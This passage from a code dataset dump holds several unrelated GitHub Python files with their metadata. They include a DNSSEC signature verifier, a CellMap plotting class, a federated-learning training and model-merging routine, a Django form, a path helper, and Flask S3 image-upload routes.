Crypto.Hash.SHA.new()\n\t\t\t\telif key.algorithm in [ 8 ]:\n\t\t\t\t\thash_fn = Crypto.Hash.SHA256.new()\n\t\t\t\telif key.algorithm in [ 10 ]:\n\t\t\t\t\thash_fn = Crypto.Hash.SHA512.new()\n\t\n\t\t\t\thash_fn.update(sig_input_data)\n\t\n\t\t\t\tif verifier.verify(hash_fn, rrsig.signature):\n\t\t\t\t\tverify_pass = True\n\t\t\t\t\treason = \"Signature validated OK\"\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tlogger.log_warn('Failed to validate RSA signature for {} (type {}) with DNSKEY with tag {}'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag()))\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.log_warn('Exception while validating RSA signature for {} (type {}) with DNSKEY with tag {} (e=\"{}\")'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag(), e))\n\t\telif key.algorithm in [ 13, 14 ]:\n\t\t\t# Perform ECDSA verification\n\t\t\tvk = None\n\t\t\thash_fn = None\n\n\t\t\ttry:\n\t\t\t\tif key.algorithm == 13:\n\t\t\t\t\tvk = ecdsa.VerifyingKey.from_string(key.wire, curve=ecdsa.NIST256p)\n\t\t\t\t\thash_fn = hashlib.sha256\n\t\t\t\telif key.algorithm == 14:\n\t\t\t\t\tvk = ecdsa.VerifyingKey.from_string(key.wire, curve=ecdsa.NIST384p)\n\t\t\t\t\thash_fn = hashlib.sha384\n\n\t\t\t\tif vk.verify(rrsig.signature, sig_input_data, hash_fn):\n\t\t\t\t\tverify_pass = True\n\t\t\t\t\treason = \"Signature validated OK\"\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tlogger.log_warn('Failed to validate ECDSA signature for {} (type {}) with DNSKEY with tag {}'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag()))\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.log_warn('Exception while validating ECDSA signature for {} (type {}) with DNSKEY with tag {} (e=\"{}\")'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag(), e))\n\t\telif key.algorithm in [ 15 ]:\n\t\t\t# Perform Ed25519 verification\n\t\t\ttry:\n\t\t\t\tvk = nacl.signing.VerifyKey(key.eddsa_a, encoder=nacl.encoding.RawEncoder)\n\n\t\t\t\tif vk.verify(sig_input_data, rrsig.signature, encoder=nacl.encoding.RawEncoder):\n\t\t\t\t\tverify_pass = True\n\t\t\t\t\treason = \"Signature validated OK\"\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tlogger.log_warn('Failed to validate EdDSA signature for {} (type {}) with DNSKEY with tag {}'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag()))\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.log_warn('Exception while validating EdDSA signature for {} (type {}) with DNSKEY with tag {} (e=\"{}\")'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag(), e))\n\t\telif key.algorithm in [ 16 ]:\n\t\t\ttry:\n\t\t\t\ted448_schema = eddsa_rfc8032.eddsa_obj(\"Ed448\")\n\n\t\t\t\tif ed448_schema.verify(key.eddsa_a, sig_input_data, rrsig.signature):\n\t\t\t\t\tverify_pass = True\n\t\t\t\t\treason = \"Signature validated OK\"\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tlogger.log_warn('Failed to validate EdDSA signature for {} (type {}) with DNSKEY with tag {}'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag()))\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.log_warn('Exception while validating EdDSA signature for {} (type {}) with DNSKEY with tag {} (e=\"{}\")'.format(rrset[0].fqdn, rrsig.type_covered, key.keytag(), e))\n\t\telse:\n\t\t\tlogger.log_warn('Skipped signature validation of {} record for {} because algorithm {} is not supported'.format(rrsig.type_covered, rrset[0].fqdn, key.algorithm))\n\n\treturn verify_pass, reason\n", "repo_name": "NLnetLabs/oi-dnssecchecker", "sub_path": "dnssecfn.py", "file_name": "dnssecfn.py", "file_ext": "py", "file_size_in_byte": 6874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "oidnstypes.OI_DNSKEY_rec", "line_number": 46, "usage_type": "attribute"}, {"api_name": "oidnstypes.OI_RRSIG_rec", "line_number": 59, "usage_type": "attribute"}, {"api_name": "oidnstypes.OI_DNSKEY_rec", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Crypto.PublicKey.RSA.construct", "line_number": 118, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.RSA", "line_number": 118, "usage_type": "name"}, {"api_name": "Crypto.Signature.PKCS1_v1_5.new", "line_number": 119, "usage_type": "call"}, {"api_name": "Crypto.Signature.PKCS1_v1_5", "line_number": 119, "usage_type": "name"}, {"api_name": "Crypto.PublicKey.Hash.SHA.new", "line_number": 123, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.Hash", "line_number": 123, "usage_type": "attribute"}, {"api_name": "Crypto.PublicKey", "line_number": 123, "usage_type": "name"}, {"api_name": "Crypto.PublicKey.Hash.SHA256.new", "line_number": 125, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.Hash", "line_number": 125, "usage_type": "attribute"}, {"api_name": "Crypto.PublicKey", "line_number": 125, "usage_type": "name"}, {"api_name": "Crypto.PublicKey.Hash.SHA512.new", "line_number": 127, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.Hash", "line_number": 127, "usage_type": "attribute"}, {"api_name": "Crypto.PublicKey", "line_number": 127, "usage_type": "name"}, {"api_name": "ecdsa.VerifyingKey.from_string", "line_number": 146, "usage_type": "call"}, {"api_name": "ecdsa.VerifyingKey", "line_number": 146, "usage_type": "attribute"}, {"api_name": "ecdsa.NIST256p", "line_number": 146, "usage_type": "attribute"}, {"api_name": "hashlib.sha256", "line_number": 147, "usage_type": "attribute"}, {"api_name": "ecdsa.VerifyingKey.from_string", "line_number": 149, "usage_type": "call"}, {"api_name": "ecdsa.VerifyingKey", "line_number": 149, "usage_type": "attribute"}, {"api_name": "ecdsa.NIST384p", "line_number": 149, "usage_type": "attribute"}, {"api_name": "hashlib.sha384", "line_number": 150, "usage_type": "attribute"}, {"api_name": "nacl.encoding.signing.VerifyKey", "line_number": 163, "usage_type": "call"}, {"api_name": "nacl.encoding.signing", "line_number": 163, "usage_type": "attribute"}, {"api_name": "nacl.encoding", "line_number": 163, "usage_type": "name"}, {"api_name": "nacl.encoding.encoding", "line_number": 163, "usage_type": "attribute"}, {"api_name": "nacl.encoding.encoding", "line_number": 165, "usage_type": "attribute"}, {"api_name": "nacl.encoding", "line_number": 165, "usage_type": "name"}, {"api_name": "eddsa_rfc8032.eddsa_obj", "line_number": 175, "usage_type": "call"}]}
{"seq_id": "39197256391", "text": "'''\nGeneric CellMap specific helper class/utility\n'''\n\nimport numpy as np\nimport json\nimport typing\nimport matplotlib.pyplot as plt\n\nclass CellMap:\n    data: typing.Dict[str, np.ndarray]\n    layers: typing.List[str]\n    cell_size: np.ndarray\n    cell_bounds: typing.Tuple[np.ndarray, np.ndarray]\n    num_cells: np.ndarray\n    extents: np.ndarray\n    cell_boundary_precision: float\n    from_parent: np.ndarray\n    to_parent: np.ndarray\n\n\n    @staticmethod\n    def load(path):\n        '''\n        Loads a CellMap from the given path, expects a JSON file.\n        '''\n\n        # Read the data\n        with open(path, 'r') as f:\n            return CellMap.from_raw_dict(json.load(f))\n    \n    @staticmethod\n    def from_raw_dict(raw, path=''):\n        '''\n        Loads a CellMap from a raw dictionary, i.e. from deserialised JSON.\n        '''\n\n        cm = CellMap()\n\n        # Load metadata\n        cm.path = path\n        cm.layers = raw['layers']\n        cm.cell_size = np.array(raw['cell_size'])\n        cm.cell_bounds = np.array([raw['cell_bounds']['x'], raw['cell_bounds']['y']])\n        cm.num_cells = np.array([\n            cm.cell_bounds[1][1] - cm.cell_bounds[1][0],\n            cm.cell_bounds[0][1] - cm.cell_bounds[0][0] \n        ])\n        cm.cell_boundary_precision = np.array(raw['cell_boundary_precision'])\n        cm.from_parent = np.array(raw['from_parent_matrix']).reshape((3, 3))\n        cm.to_parent = np.linalg.inv(cm.from_parent)\n\n        # Calculate extents of map\n        extents = np.array([\n            [cm.cell_bounds[0][0], cm.cell_bounds[1][0]], \n            [cm.cell_bounds[0][1], cm.cell_bounds[1][0]], \n            [cm.cell_bounds[0][0], cm.cell_bounds[1][1]], \n            [cm.cell_bounds[0][1], cm.cell_bounds[1][1]], \n        ])\n        cm.extents = cm.transform_to_parent(extents)\n\n        # Load each layer in turn, reshaping as needed\n        cm.data = dict()\n        for layer, data in zip(cm.layers, raw['data']):\n            if data['dim'][0] != cm.num_cells[0] or data['dim'][1] != cm.num_cells[1]:\n                raise RuntimeError(f'Data in cell map file is of wrong shape. Expected {cm.num_cells} but got {data[\"dim\"]}')\n            cm.data[layer] = np.array(data['data']).reshape(cm.num_cells)\n\n        return cm\n\n    def transform_to_parent(self, points: np.ndarray):\n        '''\n        Converts the given point(s) from the map frame to the parent frame.\n\n        Points should be an (N, 2) dimension array.\n        '''\n        n = np.shape(points)[0]\n        dehomog = lambda x: x[:-1]/x[-1]\n        homog = np.ones((n, 3))\n        homog[:,:-1] = points\n        homog = homog @ self.to_parent\n        return np.array([dehomog(x) for x in homog])\n\n    def plot(self, name = None, ax = None, parent_relative = True, show_grid=False):\n        '''\n        Plots the given CellMap\n\n        Arguments:\n            map: The CellMap to plot\n            name: The name to place in the title\n            ax: The axis to plot onto, or None if we should create a new figure\n            parent_relative: True if the map should be plotted relative to the parent\n        '''\n        \n        if ax is None:\n            fig, ax = plt.subplots()\n        else:\n            fig = None\n\n        # Map-relative origin and axes directions\n        origin = np.array([0.0, 0.0])\n        x_dir = np.array([1.0, 0.0])\n        y_dir = np.array([0.0, 1.0])\n\n        # Map-relative limits\n        x_lims = [-0.5, self.num_cells[0] + 0.5]\n        y_lims = [-0.5, self.num_cells[1] + 0.5]\n\n        # Setup the axis grid\n        if parent_relative:\n            # Get the grid\n            grid = ax.add_artist(self._get_parent_rel_grid(show_grid=show_grid))\n\n            # Update self origin\n            origin = self.transform_to_parent(origin.reshape((1, 2))).reshape((2,))\n            x_dir = self.transform_to_parent(x_dir.reshape((1, 2))).reshape((2,)) - origin\n            y_dir = self.transform_to_parent(y_dir.reshape((1, 2))).reshape((2,)) - origin\n\n            plot_bounds = np.max([self.cell_size[0] * 0.5, self.cell_size[1] * 0.5])\n\n            # Update limits\n            ext_plus_origin_x = np.append(self.extents[:,0], origin[0])\n            ext_plus_origin_y = np.append(self.extents[:,1], origin[1])\n            x_lims = [np.min(ext_plus_origin_x) - plot_bounds, np.max(ext_plus_origin_x) + plot_bounds]\n            y_lims = [np.min(ext_plus_origin_y) - plot_bounds, np.max(ext_plus_origin_y) + plot_bounds]\n\n        else:\n            # Include the end line in the ticks\n            x_ticks = range(self.num_cells[0] + 1)\n            y_ticks = range(self.num_cells[1] + 1)\n            ax.set_xticks(x_ticks)\n            ax.set_yticks(y_ticks)\n            ax.grid(True)\n\n        # Plot origin and directions\n        ax.plot(origin[0], origin[1], '.k')\n        ax.quiver(*origin, x_dir[0], x_dir[1], color='r', angles='xy', scale_units='xy', scale=1)\n        ax.quiver(*origin, y_dir[0], y_dir[1], color='g', angles='xy', scale_units='xy', scale=1)\n\n        # Set limits\n        ax.set_xlim(x_lims)\n        ax.set_ylim(y_lims)\n        ax.set_aspect('equal', 'box')\n\n        if name is not None:\n            ax.set_title(name)\n        else:\n            ax.set_title(self.path)\n\n        if fig is not None:\n            plt.show()\n\n        return grid\n\n    def _get_parent_rel_grid(self, show_grid=False):\n        '''\n        Gets the parent-relative grid as a matplotlib.collections.LineCollection\n        '''\n\n        # Create mesh grid points by transforming each meshgrid point into the\n        # parent frame\n        mesh_x, mesh_y = np.meshgrid(\n            np.array(range(self.cell_bounds[0][0], self.cell_bounds[0][1] + 1)),\n            np.array(range(self.cell_bounds[1][0], self.cell_bounds[1][1] + 1))\n        )\n        mesh_shape = mesh_x.shape\n        mesh_points = np.vstack([mesh_x.ravel(), mesh_y.ravel()]).T\n        mesh_points = self.transform_to_parent(mesh_points)\n        mesh_x, mesh_y = [mesh_points[:,0].reshape(mesh_shape), mesh_points[:,1].reshape(mesh_shape)]\n        \n        mesh = plt.pcolormesh(\n            mesh_x, mesh_y, self.data[self.layers[0]], \n            shading='flat', \n            edgecolors='grey' if show_grid else None, \n            linewidth=0.1, \n            zorder=-1.0\n        )\n\n        return mesh\n", "repo_name": "duncanrhamill/cell-map", "sub_path": "tools/cell_map.py", "file_name": "cell_map.py", "file_ext": "py", "file_size_in_byte": 6276, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Dict", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 11, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 13, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 19, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.shape", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "numpy.meshgrid", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pcolormesh", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}]}
{"seq_id": "6376407685", "text": "import torch, os\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim.lr_scheduler import StepLR\nimport torch.optim as optim\nimport math, shutil\nfrom CnnModel import *\nimport time\n\nclass SSGD:\n\n  def __init__(self):\n    return\n\n  def SSGD_Train(self, network, train_loader, optimizer , epoch, dev, log_interval, train_losses, train_counter, param, seq, hostname, criterion):\n    network.train()\n    print('Start Training')\n    CEpoch = param['CurrentEpoch']\n    start = math.ceil(seq * len(train_loader.dataset) / (int(param['TrainBatchSize']) * int(param['Nodes'])))\n    if seq + 1 == int(param['TrainBatchSize']):\n      end = math.ceil(len(train_loader.dataset)/ int(param['TrainBatchSize']))\n    else:\n      end =  math.ceil((seq + 1) * len(train_loader.dataset) / (int(param['TrainBatchSize'])*int(param['Nodes'])))\n    for batch_idx, (data, target) in enumerate(train_loader):\n      if dev.find('cuda') >=0:\n        data = data.to(dev)\n        target = target.to(dev)\n      if batch_idx >= start and batch_idx < end:\n        optimizer.zero_grad()\n        output = network(data)\n        if param['Datasetname'].find('MNIST') >=0:\n          loss = F.nll_loss(output, target)\n        elif param['Datasetname'].find('CIFAR10') >=0:\n          loss = criterion(output, target)\n        loss.backward()\n        optimizer.step()\n        if batch_idx % log_interval == 0:\n          print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n            epoch, batch_idx * len(data), len(train_loader.dataset),\n            100. * batch_idx / len(train_loader), loss.item()))\n          train_losses.append(loss.item())\n          train_counter.append(\n            (batch_idx*64) + ((epoch-1)*len(train_loader.dataset)))\n    return network\n\n  def SSGD_Test(self, network, param, test_loader, dev, test_losses):\n    network.eval()\n    test_loss = 0\n    correct = 0\n    total = 0\n    with torch.no_grad():\n      batch_losses = []\n      for data in test_loader:\n        images, labels = data\n        if dev.find('cuda') >=0:\n          images = images.to(dev)\n          labels = labels.to(dev)\n        output = network(images)\n        if param['Datasetname'].find('MNIST') >=0:\n          test_loss += F.nll_loss(output, labels, size_average=False).item()\n          pred = output.data.max(1, keepdim=True)[1]\n          correct += pred.eq(labels.data.view_as(pred)).sum().item()\n        elif param['Datasetname'].find('CIFAR10') >=0:\n          _, pred = torch.max(output.data, dim=1)\n          total += labels.size(0)\n          correct += (pred == labels).sum().item()\n    test_loss = len(test_loader.dataset) - correct\n    test_losses.append(test_loss)\n    print('\\nTest set: Avg. loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n'.format(\n      test_loss, correct, len(test_loader.dataset),\n      100. * correct / len(test_loader.dataset)))\n    return correct\n  \n  def ModelMerge(self, network, param, dev, epoch, RequiredHostList):\n    sd = network.state_dict()\n    count = 0\n    modelFileList = []\n    for modelFile in param['Models']:\n      FilePattern = modelFile.split('.')[0].split('-')\n      if FilePattern[0].find(param['ProjectName']) >= 0 and int(FilePattern[2]) == int(param['CurrentEpoch']):\n        modelFileList.append(modelFile)\n    print('Merge Global Model frlm ' ,modelFileList)\n    for modelFile in modelFileList:\n      Tmp = self.CnnModelSelection(param)\n      while not os.path.exists(os.path.join(param['ModelFile'], modelFile)):\n        time.sleep(3)\n      if dev.find(\"cuda\") >=0:\n        Tmp.to(torch.device(dev))\n        Tmp = torch.load(os.path.join(param['ModelFile'], modelFile), map_location=torch.device(dev))\n      else:\n        Tmp = torch.load(os.path.join(param['ModelFile'], modelFile), map_location=torch.device('cpu'))\n      TmpSD = Tmp.state_dict()\n      for key in TmpSD:\n        if count == 0:\n          sd[key] = TmpSD[key]/int(param['Nodes'])\n        else:\n          sd[key] = sd[key] + TmpSD[key]/int(param['Nodes'])\n      count = count + 1\n    network.load_state_dict(sd)\n    return network\n  \n  def MergeModelGossip(self, network, param, dev, epoch, RequiredHostList):\n    print('before MergeModelGossip', param)\n    while len(param['Models']) < epoch * int(param['Nodes']):\n    #while len(param['Models']) < int(param['Nodes']):\n      time.sleep(20)\n    print('after MergeModelGossip', param)\n    network = self.ModelMerge(network, param, dev, epoch, RequiredHostList)\n    return network\n  \n  def MergeModelMQTT(self, network, param, dev, epoch, RequiredHostList):\n    # Node is parameter server\n    if param['ParameterServer'].find(self.GetLocalIP()) >=0:\n      while len(param['Models']) < epoch * int(param['Nodes']):\n        time.sleep(20)\n    # Create model from local model collect\n      network = self.ModelMerge(network, param, dev, epoch, RequiredHostList)\n      GlobalModelFile = param['ProjectName'] + '-Global-' + str(epoch) + '.' + self.config['HostName'] + '.pth'\n      self.SaveModelFile(network, GlobalModelFile, param, 'Global')\n      self.PushGlobalInfo(GlobalModelFile, param)\n    # Node is work node\n    else:\n      while len(param['GlobalModel']) < epoch:\n        time.sleep(20)\n    # Read latest GlobalModel\n      network = self.LoadLatestModel(network, param, dev, self.config)\n    return network\n  \n  def SSGD_Process(self, param, seq):\n    n_epochs = int(param['Epochs'])\n    batch_size_train = int(param['TrainBatchSize'])\n    batch_size_test = int(param['TestBatchSize'])\n    learning_rate = float(param['LearningRate'])\n    momentum = float(param['Momentum'])\n    log_interval = int(param['LogInterval'])\n    random_seed = int(param['RandomSeed'])\n    hostname = self.config['HostName']\n  \n    torch.backends.cudnn.enabled = False\n    torch.manual_seed(random_seed)\n  \n    dev = self.DeviceSelection()\n  \n    train_loader = self.GetTrainData(param, True)\n    test_loader = self.GetTestData(param, False)\n\n    self.PushRecordCount(param)\n  \n    train_losses = []\n    test_losses = []\n    train_counter = []\n    correct = []\n  \n    print('Start Network Define')\n    network = self.CnnModelSelection(param)\n    print('End of Network Define')\n  \n    if dev.find(\"cuda\") >=0:\n      print('use GPU')\n      network.to(torch.device(dev))\n    #network.weight_init()\n  \n    criterion = nn.CrossEntropyLoss()\n    optimizer = optim.SGD(network.parameters(), lr=learning_rate, momentum=momentum)\n    scheduler = StepLR(optimizer, step_size=2, gamma=0.01)\n  \n    shutil.move(param['File'], param['File'].replace('.submit','.train'))\n    param['File'] = param['File'].replace('.submit','.train')\n    param['State'] = 'train'\n    for epoch in range(1, n_epochs + 1):\n      param['ReceivedModel'] = []\n      RequiredHostList = self.RandomNodeSelection(param)\n      #param[''] = ''\n      print('Start of Epoch ', param, ' require these hosts ' , RequiredHostList)\n      param['CurrentEpoch'] = epoch\n      #scheduler.step()\n      network = self.SSGD_Train(network, train_loader, optimizer , epoch, dev, log_interval, train_losses, train_counter, param, seq, hostname, criterion)\n      TestResult = self.SSGD_Test(network, param, test_loader, dev, test_losses)\n      param[hostname +'-LocalCorrect'].append(TestResult)\n      correct.append(int(TestResult))\n      localModelFile = os.path.join(param['ModelFile'], param['ProjectName'] + '-' + str(self.CurrentEpochTime()) + '-' + str(epoch)+ '.' + hostname + '.pth')\n      self.SaveModelFile(network, localModelFile, param, 'Local')\n      #param['Models'].append(localModelFile.split('/')[-1])\n      self.CommitLocalModel(param['ProjectName'], localModelFile.split('/')[-1], Notify = True)\n      if self.config['Protocol.Default'].find('P2P') >= 0:\n        network = self.MergeModelGossip(network, param, dev, epoch, RequiredHostList)\n      elif self.config['Protocol.Default'].find('MQTT') >=0:\n        self.NetworkEngine.PublishFile(os.path.join(param['ModelFile'], localModelFile))\n        network = self.MergeModelMQTT(network, param, dev, epoch, RequiredHostList)\n      GlobalAccuracy = self.SSGD_Test(network, param, test_loader, dev, test_losses)\n      param[hostname + '-GlobalCorrect'].append(GlobalAccuracy)\n      print('End of Epoch ', param)\n    return\n", "repo_name": "xiaomengmia/FedP2Prealated", "sub_path": "FML/FedAvg.py", "file_name": "FedAvg.py", "file_ext": "py", "file_size_in_byte": 8172, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "math.ceil", "line_number": 19, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 21, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.max", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 91, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 106, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 139, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 164, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 165, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 167, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path", "line_number": 181, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 188, "usage_type": "attribute"}]}
{"seq_id": "1710799228", "text": "from django import forms\nfrom .models import Comment\n\nclass CommentForm(forms.ModelForm):\n    class Meta:\n        model = Comment\n        exclude = [\"post\"]       # select all attribute in comment model except this one\n        labels = {\n            \"user_name\": \"Your Name\",\n            \"user_email\": \"Your Email\",\n            \"text\": \"Your Comment\"\n        }", "repo_name": "toriq99/blog-app-django", "sub_path": "blog/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 360, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.ModelForm", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 4, "usage_type": "name"}, {"api_name": "models.Comment", "line_number": 6, "usage_type": "name"}]}
{"seq_id": "27271297417", "text": "from pathlib import Path\nimport os\n\ndef get_paths_for_dataset(dataset_name, create_non_existing=False, return_dict=True):\n    p = Path(os.environ['DATAPATH'])\n    p = p/dataset_name\n    d = {}\n    for i in ['proc']: # could add e.g. proc1,proc2,... if different preprocessing schemes\n        d[i] = {}\n        pp = p/i\n        for j in ['data','labels']:\n            ppp = pp/j\n            d[i][j] = {}\n            for k in ['train','val','test']:\n                pppp = ppp/k\n                d[i][j][k] = pppp\n                if create_non_existing:\n                    try:\n                        pppp.mkdir(parents=True, exist_ok=False)\n                    except:\n                        print(f'Did not create {pppp} since already existing.')\n    if return_dict:\n        return d\n\n\n#d = get_paths_for_dataset('TestDataSet')\n#print(d)", "repo_name": "jmsckv/EncDecMeta", "sub_path": "src/utils/get_paths.py", "file_name": "get_paths.py", "file_ext": "py", "file_size_in_byte": 839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}]}
{"seq_id": "74099000264", "text": "from flask import Blueprint, request\nfrom app.models import db, Image, UserImage\nfrom flask_login import current_user\nfrom app.forms.image_form import CreateImage # wip will come back to this for csrf\nfrom app.s3config import (\n    upload_file_to_s3, allowed_file, get_unique_filename)\n\nimage_routes = Blueprint(\"images\", __name__)\n\n# get all user images\n@image_routes.route(\"\")\ndef get_images():\n    all_images = UserImage.query.all()\n    return {'all_images': [img.to_dict() for img in all_images]}\n\n# get user image\n@image_routes.route(\"/<int:id>\")\ndef get_single_image(id):\n    user_image = UserImage.query.filter_by(user_id = id).all()\n    return {\"image\": [pfp.to_dict() for pfp in user_image][-1]}\n\n\n\n# upload user image to specific user page\n@image_routes.route(\"/<int:id>\", methods=[\"PUT\"])\ndef upload_image(id):\n    if \"image\" not in request.files:\n        return {\"errors\": \"image required\"}, 400\n\n    image = request.files[\"image\"]\n\n    if not allowed_file(image.filename):\n        return {\"errors\": \"file type not permitted\"}, 400\n\n    image.filename = get_unique_filename(image.filename)\n\n    upload = upload_file_to_s3(image)\n\n    if \"url\" not in upload:\n        # if the dictionary doesn't have a url key\n        # it means that there was an error when we tried to upload\n        # so we send back that error message\n        return upload, 400\n\n    url = upload[\"url\"]\n    updated_pfp = UserImage.query.filter(UserImage.user_id==id).one()\n    # print(updated_pfp.to_dict())\n    updated_pfp.image = url\n    db.session.commit()\n    return updated_pfp.to_dict()\n\n\n\n# posting to a specific game page\n@image_routes.route(\"/game/<int:id>\", methods=[\"POST\"])\ndef upload_image_to_game(id):\n    if \"image\" not in request.files:\n        return {\"errors\": \"image required\"}, 400\n\n    image = request.files[\"image\"]\n\n    if not allowed_file(image.filename):\n        return {\"errors\": \"file type not permitted\"}, 400\n\n    image.filename = get_unique_filename(image.filename)\n\n    upload = upload_file_to_s3(image)\n\n    if \"url\" not in upload:\n        # if the dictionary doesn't have a url key\n        # it means that there was an error when we tried to upload\n        # so we send back that error message\n        return upload, 